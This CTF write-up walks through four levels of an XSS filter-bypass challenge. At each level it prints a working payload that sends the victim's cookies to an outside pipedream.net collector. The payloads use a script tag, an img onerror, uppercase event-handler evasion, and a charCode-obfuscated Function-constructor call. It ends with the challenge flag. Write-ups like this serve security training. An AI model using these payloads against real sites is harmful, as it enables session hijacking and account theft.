We got an access to a training resource from WebTopia, where they practise XSS filter bypassing. Enjoy it!
Table of contents:
Step 1
Since the payload isn’t filtered, we can directly inject a script tag like this:
1
<script>document.location='https://eo4mg2uuwtytyew.m.pipedream.net/?STEP1='.concat(document.cookie);</script>
/0d566d04bbc014c2d1d0902ad50a4122
Step 2
The payload is filtered by the following regex .*(script|(</.*>)).*
, which blocks anything containing script
and anything containing a closing tag like </...>
. We can therefore bypass this filter by injecting an img tag:
1
<img src=x onerror="new Image().src='https://eo4mg2uuwtytyew.m.pipedream.net/?STEP2='+document.cookie">
/5d1aaeadf1b52b4f2ab7042f3319a267
Step 3
This filter blocks:
://
→ prevents URLsscript
→ blocks any mention of “script”</.*>
→ blocks any closing tagon\w+\s*=
→ blocks all JS event attributes, such as:onerror=
onload=
onclick=
etc.
To bypass this filter, we can simply use the previous payload but write the “onerror” in uppercase. Also, when specifying a URL like //domain.com
, the browser automatically uses the same protocol as the current page (http or https). This lets us bypass the restriction on ://
.
1
<img src=x ONERROR="new Image().src='//eo4mg2uuwtytyew.m.pipedream.net/?STEP3='+document.cookie">
/b355082fc794c4d1d2b6c02e04163090
Step 4
Regex:
1
(?i:(.*(/|script|(</.*>)|document|cookie|eval|string|(\"|'|`).*(('.+')|(\".+\")|(`.+`)).*(\"|'|`)).*))|(on\w+\s*=)|\+|!
This last step is quite tricky since the filter is very restrictive.
The filter forbids:
<script>
</...>
(closing tags)document
,cookie
,eval
andstring
" ' `
(quotes and backticks)on\w+\s*=
(attributes like onXXX=, at the beginning of the payload)+
and!
://
And this applies regardless of letter case.
After several unsuccessful attempts, I had the idea to access the global function Function
directly by using the constructor
function.
This way, we can access any JavaScript method without directly specifying their name. For example, we can access the String
function like this:
Now that we have access to the String function, we can simply use the fromCharCode
method and write our code by replacing each letter with its corresponding charCode.
The goal is to execute a function containing the following code:
window.location.replace('https://eo4mg2uuwtytyew.m.pipedream.net/?STEP4'.concat(document.cookie))
So, we get the corresponding char codes, which gives us:
1
2
3
4
119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,39,
104,116,116,112,115,58,47,47,101,111,52,109,103,50,117,117,119,116,121,116,121,101,119,46,109,
46,112,105,112,101,100,114,101,97,109,46,110,101,116,47,63,83,84,69,80,52,39,46,99,111,110,99,
97,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41
Altogether, this allows us to create a function that will redirect the bot to our endpoint along with its cookies:
Finally, I got this payload that lets us complete the last step!
1
2
3
4
5
<svg onload=[].constructor.constructor(window.name.constructor.fromCharCode(119,105,110,100,111,
119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,39,104,116,116,112,115,58,
47,47,101,111,52,109,103,50,117,117,119,116,121,116,121,101,119,46,109,46,112,105,112,101,100,
114,101,97,109,46,110,101,116,47,63,83,84,69,80,52,39,46,99,111,110,99,97,116,40,100,111,99,117,
109,101,110,116,46,99,111,111,107,105,101,41,41))()>
🚩
N0PS{n0w_Y0u_4r3_x55_Pr0}
Thanks for reading !